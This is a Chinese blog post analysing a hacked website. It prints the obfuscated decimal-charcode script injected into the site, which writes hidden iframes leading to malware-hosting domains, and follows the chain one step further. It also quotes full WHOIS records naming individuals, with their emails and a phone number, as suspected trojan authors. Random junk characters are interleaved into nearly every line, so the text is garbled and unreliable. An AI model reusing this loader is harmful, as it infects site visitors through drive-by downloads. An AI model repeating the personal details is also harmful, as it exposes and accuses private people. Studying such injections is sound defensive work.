首发在我的博客里面，
t!$/r]XM h 'tj4 ;+xf^ http://www.areway.cn/?p=175 dEn hNPeRl ZBWe,Xvq Qy% /+9L 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
78"W ~` 8 c1f6RCu$b <script>t=’60,105,102,114,97,109,101,
6 s/O\A 32,115,114,99,61,104,116,116,112,58,47,47,
8,Z0J 102,114,101,101,46,117,45,117,117,117,46,99,
P#C`/%$ S 110,47,101,114,114,111,114,46,104,116,109,
'A oH2 | 32,119,105,100,116,104,61,49,48,48,32,104,
L xO'$oKZV 101,105,103,104,116,61,48,62,60,47,105,102,
_e
W* 114,97,109,101,62′;
_<$=n 6# t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
h =aHZ6v H D >{UU? <script>t=’60,105,102,114,97,109,101,32,115,
i8]r }a 114,99,61,104,116,116,112,58,47,47,102,114,
iT5% X 101,101,46,117,45,117,117,117,46,99,110,47,
~Hq
2' 101,114,114,111,114,46,104,116,109,32,119,
Lv"83$^S9 105,100,116,104,61,49,48,48,32,104,101,105,
XN Y(@ 103,104,116,61,48,62,60,47,105,102,114,97,
F&\o1g-L 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
d0,I ] " document.write(t);</script>
hH\(> 4l Cn,dr4J[ <html xmlns=”
JmK+#o http://www.w3.org/1999/xhtml ifkA 3] “>
+RM3EvglDQ <head>
$T6<9cB@ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
;J:YNup <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
-%A6eRShk <title>首页 - 爱生活家庭网
O =fT;&%. P_;oSN|> 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
)gR&Ms4 转换字符串后的大概内容是（谁点击后果自付）：
Vo\d&}Q <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
}K/[3X=B 4D NZ y2` 查询玉米u-uuu.cn的详细信息：
uGv+c.~[j Domain Name: u-uuu.cn
mb#)w`< ROID: 20070901s10001s64972306-cn
i|<*EXB" Domain Status: ok
$6_J` 7 Registrant Organization: 王雷
jq[>PvR Registrant Name: 王雷
=($qiL'h Administrative Email:
czlovexs@126.com c/s'&gG33z Sponsoring Registrar: 北京万网志成科技有限公司
k`?n("j Name Server:ns.yovole.com
5rc<ibGh Name Server:ns1.yovole.com
{BJxRH"&6* Registration Date: 2007-09-01 17:54
ELm# Expiration Date: 2008-09-01 17:54
hZpFI?lqc\ 最后PING了一下地址 都没有什么….
[]@Mk {3;4=R3 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
27M gwX
NQ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
%VdJ<=@ <script language=”javascript” src=”
DCNuvrZ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script U{ Y)\hR- >
A_2p pEG 这个玉米应该有可能是木马作者的：
i,~{{X S< foafau.info的详细信息：
(<f [$ |% Access to INFO WHOIS information is provided to assist persons in
-Ju!2by determining the contents of a domain name registration record in the
xGA%/dy,; Afilias registry database. The data in this record is provided by
1 .uy u Afilias Limited for informational purposes only, and Afilias does not
1*a2s2G
' guarantee its accuracy. This service is intended only for query-based
w<'mV^S access. You agree that you will use this data only for lawful purposes
<"t >! I and that, under no circumstances will you use this data to: (a) allow,
'd28YjtoX enable, or otherwise support the transmission by e-mail, telephone, or
rlds-j '' facsimile of mass unsolicited, commercial advertising or solicitations
/q> ""> to entities other than the data recipient’s own existing customers; or
@M(vaJB8u (b) enable high volume, automated, electronic processes that send
,
w_ Ew queries or data to the systems of Registry Operator, a Registrar, or
shi#K<gVC Afilias except as reasonably necessary to register domain names or
6Us#4 v, modify existing registrations. All rights reserved. Afilias reserves
]6%| L the right to modify these terms at any time. By submitting this query,
3A+d8fwi you agree to abide by this policy.
uv@4/M` Domain ID:D22418703-LRMS
OaEOk57%de Domain Name:FOAFAU.INFO
D3_,2 Created On:20-Nov-2007 16:05:42 UTC
LOQEU? z Last Updated On:20-Nov-2007 16:05:44 UTC
<@?bYp Expiration Date:20-Nov-2008 16:05:42 UTC
4Iz~3fqB7 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
E) `+1j Status:CLIENT DELETE PROHIBITED
FuD$ jsEw Status:CLIENT RENEW PROHIBITED
kwey p IB Status:CLIENT TRANSFER PROHIBITED
{RzlmDStV Status:CLIENT UPDATE PROHIBITED
<$UY{"? Status:TRANSFER PROHIBITED
O|8 p # Registrant ID:GODA-040110615
rc"Z$qU? Registrant Name:liu hong
K j'uTEM Registrant Organization:
t]Oxo`h= Registrant Street1:beijing
nTL dknh" Registrant Street2:
+VTMa9d Registrant Street3:
,fL*yn Registrant City:beijing
i |C'_gw`n Registrant State/Province:
@P% &Dha Registrant Postal Code:100000
wL}=$DN Registrant Country:CN
f#[ Fqkmj Registrant Phone:+86.860108888777
kQYX[e7n Registrant Phone Ext.:
d/" e3S1 Registrant FAX:
7 VR+EV Registrant FAX Ext.:
.~Td / o7 Registrant Email:bbbshiji@163.com
N5 g!,3 Admin ID:GODA-240110615
& 'R\yX<J) Admin Name:liu hong
{|
Tl3 Admin Organization:
D].1X0^hp Admin Street1:beijing
:V8 \^ Admin Street2:
Ix}:! L Admin Street3:
J z3u r)| Admin City:beijing
ab6K K$s Admin State/Province:
r=u>TA$ Admin Postal Code:100000
OJ&~uV >2 Admin Country:CN
/ S]<MS Admin Phone:+86.860108888777
BaqRAO7 Admin Phone Ext.:
n&&X{Rl Admin FAX:
^'#vU j:" Admin FAX Ext.:
@dw0oR F Admin Email:bbbshiji@163.com
'b% S 3)} Billing ID:GODA-340110615
h\jwXMi,tj Billing Name:liu hong
$yG=exh3v Billing Organization:
y_QK _R< f Billing Street1:beijing
)/Ul" QF Billing Street2:
c\7~_w2 Billing Street3:
0 *x Billing City:beijing
bKiV<&Z5d Billing State/Province:
w; )@2} Billing Postal Code:100000
8M !If Billing Country:CN
NKh 8'=S Billing Phone:+86.860108888777
KYMz Billing Phone Ext.:
SxH b76 ; Billing FAX:
PY~c u@'k{ Billing FAX Ext.:
Kk-A?ju@g Billing Email:bbbshiji@163.com
5ILce%#zL Tech ID:GODA-140110615
`Fnt#F} Tech Name:liu hong
z^@98:x Tech Organization:
c?IFI Tech Street1:beijing
R{u/r%
Tech Street2:
fp u^ Tech Street3:
r+ k5Bk' Tech City:beijing
9*U3uyPi Tech State/Province:
Yq}(O<ol Tech Postal Code:100000
$3w a%" Tech Country:CN
+O2T% Tech Phone:+86.860108888777
@LqLtr@A Tech Phone Ext.:
L^!E4[ ^4 Tech FAX:
a}EO7tcg, Tech FAX Ext.:
1UT&kD!si Tech Email:bbbshiji@163.com
z q _*)V Name Server:NS27.DOMAINCONTROL.COM
1ti+
Q0~ Name Server:NS28.DOMAINCONTROL.COM
]+Ik/+N z Name Server:
N8_
c%6GE Name Server:
rK7m( Name Server:
4:WN-[xX Name Server:
3%p^>D \ Name Server:
4At{(fw W Name Server:
|Q[[WHqj2f Name Server:
t&*X~(Yb! Name Server:
-YPUrU[) Name Server:
:/A3l=}iV Name Server:
EA) K"C Name Server:
B=8],_ +O8rjVg) 接着下载每个文件里面的代码：
`2.[8%6 一步一步看..
krnxM 7y 
_vr> -:G 
;Hk{bz( 
Y|stxeOC 
Ahv %Q%m%2 
!#xk?L yB 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
